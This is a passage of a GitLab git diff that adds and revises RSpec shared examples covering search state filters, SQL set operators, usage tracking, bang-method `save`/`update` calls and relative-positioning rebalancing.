+ recent_items.log_view(item2)
+
+ expect(recent_items.search('matching')).to eq([item2, item3, item1])
+ end
+
+ it 'does not leak items you no longer have access to' do
+ private_project = create(:project, :public, namespace: create(:group))
+ private_item = create_item(content: 'matching item title', project: private_project)
+
+ recent_items.log_view(private_item)
+
+ private_project.update!(visibility_level: Project::PRIVATE)
+
+ expect(recent_items.search('matching')).not_to include(private_item)
+ end
+ end
+end
diff --git a/spec/support/shared_examples/lib/gitlab/search_issue_state_filter_shared_examples.rb b/spec/support/shared_examples/lib/gitlab/search_issue_state_filter_shared_examples.rb
new file mode 100644
index 00000000000..e80ec516407
--- /dev/null
+++ b/spec/support/shared_examples/lib/gitlab/search_issue_state_filter_shared_examples.rb
@@ -0,0 +1,48 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples 'search results filtered by state' do
+ context 'state not provided' do
+ let(:filters) { {} }
+
+ it 'returns opened and closed results', :aggregate_failures do
+ expect(results.objects(scope)).to include opened_result
+ expect(results.objects(scope)).to include closed_result
+ end
+ end
+
+ context 'all state' do
+ let(:filters) { { state: 'all' } }
+
+ it 'returns opened and closed results', :aggregate_failures do
+ expect(results.objects(scope)).to include opened_result
+ expect(results.objects(scope)).to include closed_result
+ end
+ end
+
+ context 'closed state' do
+ let(:filters) { { state: 'closed' } }
+
+ it 'returns only closed results', :aggregate_failures do
+ expect(results.objects(scope)).not_to include opened_result
+ expect(results.objects(scope)).to include closed_result
+ end
+ end
+
+ context 'opened state' do
+ let(:filters) { { state: 'opened' } }
+
+ it 'returns only opened results', :aggregate_failures do
+ expect(results.objects(scope)).to include opened_result
+ expect(results.objects(scope)).not_to include closed_result
+ end
+ end
+
+ context 'unsupported state' do
+ let(:filters) { { state: 'hello' } }
+
+ it 'returns only opened results', :aggregate_failures do
+ expect(results.objects(scope)).to include opened_result
+ expect(results.objects(scope)).to include closed_result
+ end
+ end
+end
diff --git a/spec/support/shared_examples/lib/gitlab/sql/set_operator_shared_examples.rb b/spec/support/shared_examples/lib/gitlab/sql/set_operator_shared_examples.rb
new file mode 100644
index 00000000000..73beef06855
--- /dev/null
+++ b/spec/support/shared_examples/lib/gitlab/sql/set_operator_shared_examples.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples 'SQL set operator' do |operator_keyword|
+ operator_keyword = operator_keyword.upcase
+
+ let(:relation_1) { User.where(email: 'alice@example.com').select(:id) }
+ let(:relation_2) { User.where(email: 'bob@example.com').select(:id) }
+
+ def to_sql(relation)
+ relation.reorder(nil).to_sql
+ end
+
+ describe '.operator_keyword' do
+ it { expect(described_class.operator_keyword).to eq operator_keyword }
+ end
+
+ describe '#to_sql' do
+ it "returns a String joining relations together using a #{operator_keyword}" do
+ set_operator = described_class.new([relation_1, relation_2])
+
+ expect(set_operator.to_sql).to eq("(#{to_sql(relation_1)})\n#{operator_keyword}\n(#{to_sql(relation_2)})")
+ end
+
+ it 'skips Model.none segements' do
+ empty_relation = User.none
+ set_operator = described_class.new([empty_relation, relation_1, relation_2])
+
+ expect {User.where("users.id IN (#{set_operator.to_sql})").to_a}.not_to raise_error
+ expect(set_operator.to_sql).to eq("(#{to_sql(relation_1)})\n#{operator_keyword}\n(#{to_sql(relation_2)})")
+ end
+
+ it "uses #{operator_keyword} ALL when removing duplicates is disabled" do
+ set_operator = described_class
+ .new([relation_1, relation_2], remove_duplicates: false)
+
+ expect(set_operator.to_sql).to include("#{operator_keyword} ALL")
+ end
+
+ it 'returns `NULL` if all relations are empty' do
+ empty_relation = User.none
+ set_operator = described_class.new([empty_relation, empty_relation])
+
+ expect(set_operator.to_sql).to eq('NULL')
+ end
+ end
+end
diff --git a/spec/support/shared_examples/lib/gitlab/usage_data_counters/incident_management_activity_shared_examples.rb b/spec/support/shared_examples/lib/gitlab/usage_data_counters/incident_management_activity_shared_examples.rb
new file mode 100644
index 00000000000..4e35e388b23
--- /dev/null
+++ b/spec/support/shared_examples/lib/gitlab/usage_data_counters/incident_management_activity_shared_examples.rb
@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples 'an incident management tracked event' do |event|
+ describe ".track_event", :clean_gitlab_redis_shared_state do
+ let(:counter) { Gitlab::UsageDataCounters::HLLRedisCounter }
+ let(:start_time) { 1.minute.ago }
+ let(:end_time) { 1.minute.from_now }
+
+ it "tracks the event using redis" do
+ # Allow other subsequent calls
+ allow(Gitlab::UsageDataCounters::HLLRedisCounter)
+ .to receive(:track_event)
+
+ expect(Gitlab::UsageDataCounters::HLLRedisCounter)
+ .to receive(:track_event)
+ .with(current_user.id, event.to_s)
+ .and_call_original
+
+ expect { subject }
+ .to change { counter.unique_events(event_names: event.to_s, start_date: start_time, end_date: end_time) }
+ .by 1
+ end
+ end
+end
+
+RSpec.shared_examples 'does not track incident management event' do |event|
+ it 'does not track the event', :clean_gitlab_redis_shared_state do
+ expect(Gitlab::UsageDataCounters::HLLRedisCounter)
+ .not_to receive(:track_event)
+ .with(anything, event.to_s)
+ end
+end
diff --git a/spec/support/shared_examples/models/chat_slash_commands_shared_examples.rb b/spec/support/shared_examples/models/chat_slash_commands_shared_examples.rb
index 6611a168c04..0ee24dd93d7 100644
--- a/spec/support/shared_examples/models/chat_slash_commands_shared_examples.rb
+++ b/spec/support/shared_examples/models/chat_slash_commands_shared_examples.rb
@@ -85,7 +85,7 @@ RSpec.shared_examples 'chat slash commands service' do
let(:params) { { token: 'token', team_id: chat_name.team_id, user_id: chat_name.chat_id } }
subject do
- described_class.create(project: project, properties: { token: 'token' })
+ described_class.create!(project: project, properties: { token: 'token' })
end
it 'triggers the command' do
diff --git a/spec/support/shared_examples/models/cluster_application_helm_cert_shared_examples.rb b/spec/support/shared_examples/models/cluster_application_helm_cert_shared_examples.rb
index 394253fb699..ac8022a4726 100644
--- a/spec/support/shared_examples/models/cluster_application_helm_cert_shared_examples.rb
+++ b/spec/support/shared_examples/models/cluster_application_helm_cert_shared_examples.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
RSpec.shared_examples 'cluster application helm specs' do |application_name|
- let(:application) { create(application_name) }
+ let(:application) { create(application_name) } # rubocop:disable Rails/SaveBang
describe '#uninstall_command' do
subject { application.uninstall_command }
diff --git a/spec/support/shared_examples/models/concerns/from_set_operator_shared_examples.rb b/spec/support/shared_examples/models/concerns/from_set_operator_shared_examples.rb
new file mode 100644
index 00000000000..6b208c0024d
--- /dev/null
+++ b/spec/support/shared_examples/models/concerns/from_set_operator_shared_examples.rb
@@ -0,0 +1,42 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples 'from set operator' do |sql_klass|
+ from_set_operator_concern = described_class
+ operator_keyword = sql_klass.operator_keyword
+ operator_method = "from_#{sql_klass.operator_keyword.downcase}"
+
+ describe "##{operator_method}" do
+ let(:model) do
+ Class.new(ActiveRecord::Base) do
+ self.table_name = 'users'
+
+ include from_set_operator_concern
+ end
+ end
+
+ it "selects from the results of the #{operator_keyword}" do
+ query = model.public_send(operator_method, [model.where(id: 1), model.where(id: 2)])
+
+ expect(query.to_sql).to match(/FROM \(\(SELECT.+\)\n#{operator_keyword}\n\(SELECT.+\)\) users/m)
+ end
+
+ it 'supports the use of a custom alias for the sub query' do
+ query = model.public_send(operator_method,
+ [model.where(id: 1), model.where(id: 2)],
+ alias_as: 'kittens'
+ )
+
+ expect(query.to_sql).to match(/FROM \(\(SELECT.+\)\n#{operator_keyword}\n\(SELECT.+\)\) kittens/m)
+ end
+
+ it 'supports keeping duplicate rows' do
+ query = model.public_send(operator_method,
+ [model.where(id: 1), model.where(id: 2)],
+ remove_duplicates: false
+ )
+
+ expect(query.to_sql)
+ .to match(/FROM \(\(SELECT.+\)\n#{operator_keyword} ALL\n\(SELECT.+\)\) users/m)
+ end
+ end
+end
diff --git a/spec/support/shared_examples/models/concerns/limitable_shared_examples.rb b/spec/support/shared_examples/models/concerns/limitable_shared_examples.rb
index d21823661f8..07d687147bc 100644
--- a/spec/support/shared_examples/models/concerns/limitable_shared_examples.rb
+++ b/spec/support/shared_examples/models/concerns/limitable_shared_examples.rb
@@ -8,26 +8,29 @@ RSpec.shared_examples 'includes Limitable concern' do
context 'without plan limits configured' do
it 'can create new models' do
- expect { subject.save }.to change { described_class.count }
+ expect { subject.save! }.to change { described_class.count }
end
end
context 'with plan limits configured' do
before do
- plan_limits.update(subject.class.limit_name => 1)
+ plan_limits.update!(subject.class.limit_name => 1)
end
it 'can create new models' do
- expect { subject.save }.to change { described_class.count }
+ expect { subject.save! }.to change { described_class.count }
end
context 'with an existing model' do
before do
- subject.dup.save
+ subject.dup.save!
end
it 'cannot create new models exceeding the plan limits' do
- expect { subject.save }.not_to change { described_class.count }
+ expect do
+ expect { subject.save! }.to raise_error(ActiveRecord::RecordInvalid)
+ end
+ .not_to change { described_class.count }
expect(subject.errors[:base]).to contain_exactly("Maximum number of #{subject.class.limit_name.humanize(capitalize: false)} (1) exceeded")
end
end
diff --git a/spec/support/shared_examples/models/concerns/timebox_shared_examples.rb b/spec/support/shared_examples/models/concerns/timebox_shared_examples.rb
index 15ca1f56bd0..d199bae4170 100644
--- a/spec/support/shared_examples/models/concerns/timebox_shared_examples.rb
+++ b/spec/support/shared_examples/models/concerns/timebox_shared_examples.rb
@@ -102,7 +102,7 @@ RSpec.shared_examples 'a timebox' do |timebox_type|
let(:timebox) { create(timebox_type, *timebox_args, group: group) }
before do
- project.update(group: group)
+ project.update!(group: group)
end
it "does not accept the same title in a group twice" do
diff --git a/spec/support/shared_examples/models/diff_note_after_commit_shared_examples.rb b/spec/support/shared_examples/models/diff_note_after_commit_shared_examples.rb
index 8c3e073193c..64390ccdc25 100644
--- a/spec/support/shared_examples/models/diff_note_after_commit_shared_examples.rb
+++ b/spec/support/shared_examples/models/diff_note_after_commit_shared_examples.rb
@@ -10,7 +10,7 @@ RSpec.shared_examples 'a valid diff note with after commit callback' do
it 'raises an error' do
allow(diff_file_from_repository).to receive(:line_for_position).with(position).and_return(nil)
- expect { subject.save }.to raise_error(::DiffNote::NoteDiffFileCreationError,
+ expect { subject.save! }.to raise_error(::DiffNote::NoteDiffFileCreationError,
"Failed to find diff line for: #{diff_file_from_repository.file_path}, "\
"old_line: #{position.old_line}"\
", new_line: #{position.new_line}")
@@ -25,11 +25,11 @@ RSpec.shared_examples 'a valid diff note with after commit callback' do
it 'fallback to fetch file from repository' do
expect_any_instance_of(::Gitlab::Diff::Position).to receive(:diff_file).with(project.repository)
- subject.save
+ subject.save!
end
it 'creates a diff note file' do
- subject.save
+ subject.save!
expect(subject.reload.note_diff_file).to be_present
end
@@ -40,7 +40,7 @@ RSpec.shared_examples 'a valid diff note with after commit callback' do
it 'raises an error' do
allow_any_instance_of(::Gitlab::Diff::Position).to receive(:diff_file).with(project.repository).and_return(nil)
- expect { subject.save }.to raise_error(::DiffNote::NoteDiffFileCreationError, 'Failed to find diff file')
+ expect { subject.save! }.to raise_error(::DiffNote::NoteDiffFileCreationError, 'Failed to find diff file')
end
end
end
diff --git a/spec/support/shared_examples/models/diff_positionable_note_shared_examples.rb b/spec/support/shared_examples/models/diff_positionable_note_shared_examples.rb
index b0cdc77a378..759b22f794e 100644
--- a/spec/support/shared_examples/models/diff_positionable_note_shared_examples.rb
+++ b/spec/support/shared_examples/models/diff_positionable_note_shared_examples.rb
@@ -18,8 +18,6 @@ RSpec.shared_examples 'a valid diff positionable note' do |factory_on_commit|
)
end
- subject { build(factory_on_commit, commit_id: commit_id, position: position) }
-
context 'position diff refs matches commit diff refs' do
it 'is valid' do
expect(subject).to be_valid
diff --git a/spec/support/shared_examples/models/member_shared_examples.rb b/spec/support/shared_examples/models/member_shared_examples.rb
index 9bf157212d3..7ede6f0d8d4 100644
--- a/spec/support/shared_examples/models/member_shared_examples.rb
+++ b/spec/support/shared_examples/models/member_shared_examples.rb
@@ -25,21 +25,21 @@ RSpec.shared_examples 'inherited access level as a member of entity' do
it 'is allowed to change to be a developer of the entity' do
entity.add_maintainer(user)
- expect { member.update(access_level: Gitlab::Access::DEVELOPER) }
+ expect { member.update!(access_level: Gitlab::Access::DEVELOPER) }
.to change { member.access_level }.to(Gitlab::Access::DEVELOPER)
end
it 'is not allowed to change to be a guest of the entity' do
entity.add_maintainer(user)
- expect { member.update(access_level: Gitlab::Access::GUEST) }
+ expect { member.update(access_level: Gitlab::Access::GUEST) } # rubocop:disable Rails/SaveBang
.not_to change { member.reload.access_level }
end
it "shows an error if the member can't be updated" do
entity.add_maintainer(user)
- member.update(access_level: Gitlab::Access::REPORTER)
+ expect { member.update!(access_level: Gitlab::Access::REPORTER) }.to raise_error(ActiveRecord::RecordInvalid)
expect(member.errors.full_messages).to eq(["Access level should be greater than or equal to Developer inherited membership from group #{parent_entity.name}"])
end
@@ -51,7 +51,7 @@ RSpec.shared_examples 'inherited access level as a member of entity' do
non_member = entity.is_a?(Group) ? entity.group_member(non_member_user) : entity.project_member(non_member_user)
- expect { non_member.update(access_level: Gitlab::Access::GUEST) }
+ expect { non_member.update!(access_level: Gitlab::Access::GUEST) }
.to change { non_member.reload.access_level }
end
end
@@ -60,7 +60,7 @@ end
RSpec.shared_examples '#valid_level_roles' do |entity_name|
let(:member_user) { create(:user) }
let(:group) { create(:group) }
- let(:entity) { create(entity_name) }
+ let(:entity) { create(entity_name) } # rubocop:disable Rails/SaveBang
let(:entity_member) { create("#{entity_name}_member", :developer, source: entity, user: member_user) }
let(:presenter) { described_class.new(entity_member, current_user: member_user) }
let(:expected_roles) { { 'Developer' => 30, 'Maintainer' => 40, 'Reporter' => 20 } }
diff --git a/spec/support/shared_examples/models/members_notifications_shared_example.rb b/spec/support/shared_examples/models/members_notifications_shared_example.rb
index 050d710f1de..04af3935d15 100644
--- a/spec/support/shared_examples/models/members_notifications_shared_example.rb
+++ b/spec/support/shared_examples/models/members_notifications_shared_example.rb
@@ -13,7 +13,7 @@ RSpec.shared_examples 'members notifications' do |entity_type|
it "sends email to user" do
expect(notification_service).to receive(:"new_#{entity_type}_member").with(member)
- member.save
+ member.save!
end
end
diff --git a/spec/support/shared_examples/models/mentionable_shared_examples.rb b/spec/support/shared_examples/models/mentionable_shared_examples.rb
index dda5fa37b26..94c52bdaaa6 100644
--- a/spec/support/shared_examples/models/mentionable_shared_examples.rb
+++ b/spec/support/shared_examples/models/mentionable_shared_examples.rb
@@ -162,7 +162,7 @@ RSpec.shared_examples 'an editable mentionable' do
end
it 'creates new cross-reference notes when the mentionable text is edited' do
- subject.save
+ subject.save!
subject.create_cross_references!
new_text = <<-MSG.strip_heredoc
@@ -270,7 +270,7 @@ RSpec.shared_examples 'mentions in notes' do |mentionable_type|
let!(:mentionable) { note.noteable }
before do
- note.update(note: note_desc)
+ note.update!(note: note_desc)
note.store_mentions!
add_member(user)
end
@@ -292,7 +292,7 @@ RSpec.shared_examples 'load mentions from DB' do |mentionable_type|
let_it_be(:note_desc) { "#{mentioned_user.to_reference} and #{group.to_reference(full: true)} and @all" }
before do
- note.update(note: note_desc)
+ note.update!(note: note_desc)
note.store_mentions!
add_member(user)
end
@@ -305,7 +305,7 @@ RSpec.shared_examples 'load mentions from DB' do |mentionable_type|
mentioned_projects_ids: user_mention.mentioned_projects_ids.to_a << non_existing_record_id,
mentioned_groups_ids: user_mention.mentioned_groups_ids.to_a << non_existing_record_id
}
- user_mention.update(mention_ids)
+ user_mention.update!(mention_ids)
end
it 'filters out inexistent mentions' do
@@ -328,7 +328,7 @@ RSpec.shared_examples 'load mentions from DB' do |mentionable_type|
mentioned_projects_ids: user_mention.mentioned_projects_ids.to_a << private_project.id,
mentioned_groups_ids: user_mention.mentioned_groups_ids.to_a << private_group.id
}
- user_mention.update(mention_ids)
+ user_mention.update!(mention_ids)
add_member(mega_user)
private_project.add_developer(mega_user)
diff --git a/spec/support/shared_examples/models/project_latest_successful_build_for_shared_examples.rb b/spec/support/shared_examples/models/project_latest_successful_build_for_shared_examples.rb
index 7bbc0c5a364..7701ab42007 100644
--- a/spec/support/shared_examples/models/project_latest_successful_build_for_shared_examples.rb
+++ b/spec/support/shared_examples/models/project_latest_successful_build_for_shared_examples.rb
@@ -53,7 +53,7 @@ RSpec.shared_examples 'latest successful build for sha or ref' do
let(:build_name) { pending_build.name }
before do
- pipeline.update(status: 'pending')
+ pipeline.update!(status: 'pending')
end
it 'returns empty relation' do
diff --git a/spec/support/shared_examples/models/relative_positioning_shared_examples.rb b/spec/support/shared_examples/models/relative_positioning_shared_examples.rb
index e4668926d74..d1437244082 100644
--- a/spec/support/shared_examples/models/relative_positioning_shared_examples.rb
+++ b/spec/support/shared_examples/models/relative_positioning_shared_examples.rb
@@ -1,9 +1,25 @@
# frozen_string_literal: true
+# Notes for implementing classes:
+#
+# The following let bindings should be defined:
+# - `factory`: A symbol naming a factory to use to create items
+# - `default_params`: A HashMap of factory parameters to pass to the factory.
+#
+# The `default_params` should include the relative parent, so that any item
+# created with these parameters passed to the `factory` will be considered in
+# the same set of items relative to each other.
+#
+# For the purposes of efficiency, it is a good idea to bind the parent in
+# `let_it_be`, so that it is re-used across examples, but be careful that it
+# does not have any other children - it should only be used within this set of
+# shared examples.
RSpec.shared_examples 'a class that supports relative positioning' do
let(:item1) { create_item }
let(:item2) { create_item }
- let(:new_item) { create_item }
+ let(:new_item) { create_item(relative_position: nil) }
+
+ let(:set_size) { RelativePositioning.mover.context(item1).scoped_items.count }
def create_item(params = {})
create(factory, params.merge(default_params))
@@ -17,6 +33,7 @@ RSpec.shared_examples 'a class that supports relative positioning' do
describe '.move_nulls_to_end' do
let(:item3) { create_item }
+ let(:sibling_query) { item1.class.relative_positioning_query_base(item1) }
it 'moves items with null relative_position to the end' do
item1.update!(relative_position: 1000)
@@ -28,10 +45,9 @@ RSpec.shared_examples 'a class that supports relative positioning' do
expect(items.sort_by(&:relative_position)).to eq(items)
expect(item1.relative_position).to be(1000)
- expect(item1.prev_relative_position).to be_nil
- expect(item1.next_relative_position).to eq(item2.relative_position)
- expect(item2.next_relative_position).to eq(item3.relative_position)
- expect(item3.next_relative_position).to be_nil
+
+ expect(sibling_query.where(relative_position: nil)).not_to exist
+ expect(sibling_query.reorder(:relative_position, :id)).to eq([item1, item2, item3])
end
it 'preserves relative position' do
@@ -70,6 +86,37 @@ RSpec.shared_examples 'a class that supports relative positioning' do
expect(items.sort_by(&:relative_position)).to eq(items)
end
+ it 'manages to move nulls to the end even if there is not enough space' do
+ run = run_at_end(20).to_a
+ bunch_a = create_items_with_positions(run[0..18])
+ bunch_b = create_items_with_positions([run.last])
+
+ nils = create_items_with_positions([nil] * 4)
+ described_class.move_nulls_to_end(nils)
+
+ items = [*bunch_a, *bunch_b, *nils]
+ items.each(&:reset)
+
+ expect(items.map(&:relative_position)).to all(be_valid_position)
+ expect(items.reverse.sort_by(&:relative_position)).to eq(items)
+ end
+
+ it 'manages to move nulls to the end, stacking if we cannot create enough space' do
+ run = run_at_end(40).to_a
+ bunch = create_items_with_positions(run.select(&:even?))
+
+ nils = create_items_with_positions([nil] * 20)
+ described_class.move_nulls_to_end(nils)
+
+ items = [*bunch, *nils]
+ items.each(&:reset)
+
+ expect(items.map(&:relative_position)).to all(be_valid_position)
+ expect(bunch.reverse.sort_by(&:relative_position)).to eq(bunch)
+ expect(nils.reverse.sort_by(&:relative_position)).not_to eq(nils)
+ expect(bunch.map(&:relative_position)).to all(be < nils.map(&:relative_position).min)
+ end
+
it 'does not have an N+1 issue' do
create_items_with_positions(10..12)
@@ -89,6 +136,7 @@ RSpec.shared_examples 'a class that supports relative positioning' do
describe '.move_nulls_to_start' do
let(:item3) { create_item }
+ let(:sibling_query) { item1.class.relative_positioning_query_base(item1) }
it 'moves items with null relative_position to the start' do
item1.update!(relative_position: nil)
@@ -100,10 +148,8 @@ RSpec.shared_examples 'a class that supports relative positioning' do
items.map(&:reload)
expect(items.sort_by(&:relative_position)).to eq(items)
- expect(item1.prev_relative_position).to eq nil
- expect(item1.next_relative_position).to eq item2.relative_position
- expect(item2.next_relative_position).to eq item3.relative_position
- expect(item3.next_relative_position).to eq nil
+ expect(sibling_query.where(relative_position: nil)).not_to exist
+ expect(sibling_query.reorder(:relative_position, :id)).to eq(items)
expect(item3.relative_position).to be(1000)
end
@@ -130,193 +176,36 @@ RSpec.shared_examples 'a class that supports relative positioning' do
expect(described_class.move_nulls_to_start([item1])).to be(0)
expect(item1.reload.relative_position).to be(1)
end
- end
-
- describe '#max_relative_position' do
- it 'returns maximum position' do
- expect(item1.max_relative_position).to eq item2.relative_position
- end
- end
-
- describe '#prev_relative_position' do
- it 'returns previous position if there is an item above' do
- item1.update!(relative_position: 5)
- item2.update!(relative_position: 15)
-
- expect(item2.prev_relative_position).to eq item1.relative_position
- end
-
- it 'returns nil if there is no item above' do
- expect(item1.prev_relative_position).to eq nil
- end
- end
-
- describe '#next_relative_position' do
- it 'returns next position if there is an item below' do
- item1.update!(relative_position: 5)
- item2.update!(relative_position: 15)
-
- expect(item1.next_relative_position).to eq item2.relative_position
- end
-
- it 'returns nil if there is no item below' do
- expect(item2.next_relative_position).to eq nil
- end
- end
-
- describe '#find_next_gap_before' do
- context 'there is no gap' do
- let(:items) { create_items_with_positions(run_at_start) }
-
- it 'returns nil' do
- items.each do |item|
- expect(item.send(:find_next_gap_before)).to be_nil
- end
- end
- end
-
- context 'there is a sequence ending at MAX_POSITION' do
- let(:items) { create_items_with_positions(run_at_end) }
-
- let(:gaps) do
- items.map { |item| item.send(:find_next_gap_before) }
- end
-
- it 'can find the gap at the start for any item in the sequence' do
- gap = { start: items.first.relative_position, end: RelativePositioning::MIN_POSITION }
-
- expect(gaps).to all(eq(gap))
- end
-
- it 'respects lower bounds' do
- gap = { start: items.first.relative_position, end: 10 }
- new_item.update!(relative_position: 10)
-
- expect(gaps).to all(eq(gap))
- end
- end
-
- specify do
- item1.update!(relative_position: 5)
-
- (0..10).each do |pos|
- item2.update!(relative_position: pos)
-
- gap = item2.send(:find_next_gap_before)
-
- expect(gap[:start]).to be <= item2.relative_position
- expect((gap[:end] - gap[:start]).abs).to be >= RelativePositioning::MIN_GAP
- expect(gap[:start]).to be_valid_position
- expect(gap[:end]).to be_valid_position
- end
- end
-
- it 'deals with there not being any items to the left' do
- create_items_with_positions([1, 2, 3])
- new_item.update!(relative_position: 0)
-
- expect(new_item.send(:find_next_gap_before)).to eq(start: 0, end: RelativePositioning::MIN_POSITION)
- end
-
- it 'finds the next gap to the left, skipping adjacent values' do
- create_items_with_positions([1, 9, 10])
- new_item.update!(relative_position: 11)
-
- expect(new_item.send(:find_next_gap_before)).to eq(start: 9, end: 1)
- end
-
- it 'finds the next gap to the left' do
- create_items_with_positions([2, 10])
-
- new_item.update!(relative_position: 15)
- expect(new_item.send(:find_next_gap_before)).to eq(start: 15, end: 10)
-
- new_item.update!(relative_position: 11)
- expect(new_item.send(:find_next_gap_before)).to eq(start: 10, end: 2)
-
- new_item.update!(relative_position: 9)
- expect(new_item.send(:find_next_gap_before)).to eq(start: 9, end: 2)
-
- new_item.update!(relative_position: 5)
- expect(new_item.send(:find_next_gap_before)).to eq(start: 5, end: 2)
- end
- end
-
- describe '#find_next_gap_after' do
- context 'there is no gap' do
- let(:items) { create_items_with_positions(run_at_end) }
- it 'returns nil' do
- items.each do |item|
- expect(item.send(:find_next_gap_after)).to be_nil
- end
- end
- end
-
- context 'there is a sequence starting at MIN_POSITION' do
- let(:items) { create_items_with_positions(run_at_start) }
-
- let(:gaps) do
- items.map { |item| item.send(:find_next_gap_after) }
- end
-
- it 'can find the gap at the end for any item in the sequence' do
- gap = { start: items.last.relative_position, end: RelativePositioning::MAX_POSITION }
-
- expect(gaps).to all(eq(gap))
- end
+ it 'manages to move nulls to the start even if there is not enough space' do
+ run = run_at_start(20).to_a
+ bunch_a = create_items_with_positions([run.first])
+ bunch_b = create_items_with_positions(run[2..])
- it 'respects upper bounds' do
- gap = { start: items.last.relative_position, end: 10 }
- new_item.update!(relative_position: 10)
+ nils = create_items_with_positions([nil, nil, nil, nil])
+ described_class.move_nulls_to_start(nils)
- expect(gaps).to all(eq(gap))
- end
- end
-
- specify do
- item1.update!(relative_position: 5)
-
- (0..10).each do |pos|
- item2.update!(relative_position: pos)
-
- gap = item2.send(:find_next_gap_after)
-
- expect(gap[:start]).to be >= item2.relative_position
- expect((gap[:end] - gap[:start]).abs).to be >= RelativePositioning::MIN_GAP
- expect(gap[:start]).to be_valid_position
- expect(gap[:end]).to be_valid_position
- end
- end
-
- it 'deals with there not being any items to the right' do
- create_items_with_positions([1, 2, 3])
- new_item.update!(relative_position: 5)
-
- expect(new_item.send(:find_next_gap_after)).to eq(start: 5, end: RelativePositioning::MAX_POSITION)
- end
-
- it 'finds the next gap to the right, skipping adjacent values' do
- create_items_with_positions([1, 2, 10])
- new_item.update!(relative_position: 0)
+ items = [*nils, *bunch_a, *bunch_b]
+ items.each(&:reset)
- expect(new_item.send(:find_next_gap_after)).to eq(start: 2, end: 10)
+ expect(items.map(&:relative_position)).to all(be_valid_position)
+ expect(items.reverse.sort_by(&:relative_position)).to eq(items)
end
- it 'finds the next gap to the right' do
- create_items_with_positions([2, 10])
+ it 'manages to move nulls to the end, stacking if we cannot create enough space' do
+ run = run_at_start(40).to_a
+ bunch = create_items_with_positions(run.select(&:even?))
- new_item.update!(relative_position: 0)
- expect(new_item.send(:find_next_gap_after)).to eq(start: 0, end: 2)
+ nils = create_items_with_positions([nil].cycle.take(20))
+ described_class.move_nulls_to_start(nils)
- new_item.update!(relative_position: 1)
- expect(new_item.send(:find_next_gap_after)).to eq(start: 2, end: 10)
-
- new_item.update!(relative_position: 3)
- expect(new_item.send(:find_next_gap_after)).to eq(start: 3, end: 10)
+ items = [*nils, *bunch]
+ items.each(&:reset)
- new_item.update!(relative_position: 5)
- expect(new_item.send(:find_next_gap_after)).to eq(start: 5, end: 10)
+ expect(items.map(&:relative_position)).to all(be_valid_position)
+ expect(bunch.reverse.sort_by(&:relative_position)).to eq(bunch)
+ expect(nils.reverse.sort_by(&:relative_position)).not_to eq(nils)
+ expect(bunch.map(&:relative_position)).to all(be > nils.map(&:relative_position).max)
end
end
@@ -384,36 +273,39 @@ RSpec.shared_examples 'a class that supports relative positioning' do
end
context 'leap-frogging to the left' do
+ let(:item3) { create(factory, default_params) }
+ let(:start) { RelativePositioning::START_POSITION }
+
before do
- start = RelativePositioning::START_POSITION
item1.update!(relative_position: start - RelativePositioning::IDEAL_DISTANCE * 0)
item2.update!(relative_position: start - RelativePositioning::IDEAL_DISTANCE * 1)
item3.update!(relative_position: start - RelativePositioning::IDEAL_DISTANCE * 2)
end
- let(:item3) { create(factory, default_params) }
+ def leap_frog
+ a, b = [item1.reset, item2.reset].sort_by(&:relative_position)
- def leap_frog(steps)
- a = item1
- b = item2
-
- steps.times do |i|
- a.move_before(b)
- a.save!
- a, b = b, a
- end
+ b.move_before(a)
+ b.save!
end
- it 'can leap-frog STEPS - 1 times before needing to rebalance' do
- # This is less efficient than going right, due to the flooring of
- # integer division
- expect { leap_frog(RelativePositioning::STEPS - 1) }
- .not_to change { item3.reload.relative_position }
+ it 'can leap-frog STEPS times before needing to rebalance' do
+ expect { RelativePositioning::STEPS.times { leap_frog } }
+ .to change { item3.reload.relative_position }.by(0)
+ .and change { item1.reload.relative_position }.by(be < 0)
+ .and change { item2.reload.relative_position }.by(be < 0)
+
+ expect { leap_frog }
+ .to change { item3.reload.relative_position }.by(be < 0)
end
- it 'rebalances after leap-frogging STEPS times' do
- expect { leap_frog(RelativePositioning::STEPS) }
- .to change { item3.reload.relative_position }
+ context 'there is no space to the left after moving STEPS times' do
+ let(:start) { RelativePositioning::MIN_POSITION + (2 * RelativePositioning::IDEAL_DISTANCE) }
+
+ it 'rebalances to the right' do
+ expect { RelativePositioning::STEPS.succ.times { leap_frog } }
+ .not_to change { item3.reload.relative_position }
+ end
end
end
end
@@ -476,25 +368,25 @@ RSpec.shared_examples 'a class that supports relative positioning' do
let(:item3) { create(factory, default_params) }
- def leap_frog(steps)
- a = item1
- b = item2
+ def leap_frog
+ a, b = [item1.reset, item2.reset].sort_by(&:relative_position)
- steps.times do |i|
- a.move_after(b)
- a.save!
- a, b = b, a
- end
+ a.move_after(b)
+ a.save!
end
- it 'can leap-frog STEPS times before needing to rebalance' do
- expect { leap_frog(RelativePositioning::STEPS) }
- .not_to change { item3.reload.relative_position }
- end
+ it 'rebalances after STEPS jumps' do
+ RelativePositioning::STEPS.pred.times do
+ expect { leap_frog }
+ .to change { item3.reload.relative_position }.by(0)
+ .and change { item1.reset.relative_position }.by(be >= 0)
+ .and change { item2.reset.relative_position }.by(be >= 0)
+ end
- it 'rebalances after leap-frogging STEPS+1 times' do
- expect { leap_frog(RelativePositioning::STEPS + 1) }
- .to change { item3.reload.relative_position }
+ expect { leap_frog }
+ .to change { item3.reload.relative_position }.by(0)
+ .and change { item1.reset.relative_position }.by(be < 0)
+ .and change { item2.reset.relative_position }.by(be < 0)
end
end
end
@@ -506,12 +398,26 @@ RSpec.shared_examples 'a class that supports relative positioning' do
end
end
+ it 'places items at most IDEAL_DISTANCE from the start when the range is open' do
+ n = set_size
+
+ expect([item1, item2].map(&:relative_position)).to all(be >= (RelativePositioning::START_POSITION - (n * RelativePositioning::IDEAL_DISTANCE)))
+ end
+
it 'moves item to the end' do
new_item.move_to_start
expect(new_item.relative_position).to be < item2.relative_position
end
+ it 'positions the item at MIN_POSITION when there is only one space left' do
+ item2.update!(relative_position: RelativePositioning::MIN_POSITION + 1)
+
+ new_item.move_to_start
+
+ expect(new_item.relative_position).to eq RelativePositioning::MIN_POSITION
+ end
+
it 'rebalances when there is already an item at the MIN_POSITION' do
item2.update!(relative_position: RelativePositioning::MIN_POSITION)
